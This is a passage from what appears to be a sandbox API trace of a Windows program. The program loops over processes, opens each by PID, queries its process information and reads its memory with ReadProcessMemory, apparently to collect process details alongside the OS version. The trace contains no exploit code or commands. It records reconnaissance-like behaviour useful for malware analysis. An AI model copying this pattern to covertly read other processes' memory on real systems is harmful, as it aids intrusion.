ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.180] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.180] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.180] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4426d0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.180] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.180] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.180] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.180] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.181] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.181] malloc (_Size=0x96) returned 0xec6f80 [0354.181] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422e6, lpBuffer=0xec6f80, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec6f80*, lpNumberOfBytesRead=0x0) returned 1 [0354.183] free (_Block=0xec6f80) [0354.183] CloseHandle (hObject=0xa9c) returned 1 [0354.183] _ui64tow_s (in: _Value=0x1684, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0354.184] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5764") returned 4 [0354.184] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.184] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.184] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0xa9c [0354.185] GetLastError () returned 0x0 [0354.185] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.185] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.185] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.185] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.185] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.185] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.185] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.186] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.186] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.186] malloc (_Size=0x62) returned 0xeb6690 [0354.186] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22b2, lpBuffer=0xeb6690, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0354.187] free (_Block=0xeb6690) [0354.187] CloseHandle (hObject=0xa9c) returned 1 [0354.187] _ui64tow_s (in: _Value=0x169c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0354.188] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5788") returned 4 [0354.188] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.188] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.189] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0xa9c [0354.189] GetLastError () returned 0x0 [0354.189] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.189] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.189] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.189] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.189] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.189] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.190] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.190] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.190] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.190] malloc (_Size=0x74) returned 0xea8a20 [0354.190] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622c4, lpBuffer=0xea8a20, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8a20*, lpNumberOfBytesRead=0x0) returned 1 [0354.191] free (_Block=0xea8a20) [0354.191] CloseHandle (hObject=0xa9c) returned 1 [0354.191] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0354.192] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5796") returned 4 [0354.192] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.192] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.194] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0xa9c [0354.194] GetLastError () returned 0x0 [0354.194] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.195] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c25e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.195] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2258, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.195] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.195] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.195] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.195] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.195] malloc (_Size=0x48) returned 0xea77f0 [0354.196] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2298, lpBuffer=0xea77f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea77f0*, lpNumberOfBytesRead=0x0) returned 1 [0354.196] free (_Block=0xea77f0) [0354.196] CloseHandle (hObject=0xa9c) returned 1 [0354.196] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0354.197] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5824") returned 4 [0354.197] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.197] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.198] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0xa9c [0354.198] GetLastError () returned 0x0 [0354.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.199] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.199] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.199] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.199] malloc (_Size=0x6a) returned 0xea8a20 [0354.199] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22ba, lpBuffer=0xea8a20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8a20*, lpNumberOfBytesRead=0x0) returned 1 [0354.200] free (_Block=0xea8a20) [0354.200] CloseHandle (hObject=0xa9c) returned 1 [0354.200] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0354.201] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5856") returned 4 [0354.201] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.201] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.201] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16e0) returned 0xa9c [0354.202] GetLastError () returned 0x0 [0354.202] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.202] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.202] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.202] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.203] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.203] malloc (_Size=0x84) returned 0xe87820 [0354.203] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822d4, lpBuffer=0xe87820, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87820*, lpNumberOfBytesRead=0x0) returned 1 [0354.204] free (_Block=0xe87820) [0354.204] CloseHandle (hObject=0xa9c) returned 1 [0354.204] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0354.204] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5884") returned 4 [0354.205] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.205] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.205] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0xa9c [0354.205] GetLastError () returned 0x0 [0354.205] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.206] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.206] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.206] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.207] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.207] malloc (_Size=0x70) returned 0xea9220 [0354.207] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c0, lpBuffer=0xea9220, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0354.208] free (_Block=0xea9220) [0354.208] CloseHandle (hObject=0xa9c) returned 1 [0354.208] _ui64tow_s (in: _Value=0x1718, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0354.209] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5912") returned 4 [0354.209] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.209] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.210] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0xa9c [0354.210] GetLastError () returned 0x0 [0354.210] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.210] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.210] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.210] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.210] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.211] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.211] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.211] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.211] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.211] malloc (_Size=0x68) returned 0xeb6690 [0354.211] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222b8, lpBuffer=0xeb6690, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0354.212] free (_Block=0xeb6690) [0354.212] CloseHandle (hObject=0xa9c) returned 1 [0354.212] _ui64tow_s (in: _Value=0xc68, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0354.213] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3176") returned 4 [0354.213] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.213] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0xa9c [0354.213] GetLastError () returned 0x0 [0354.214] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, 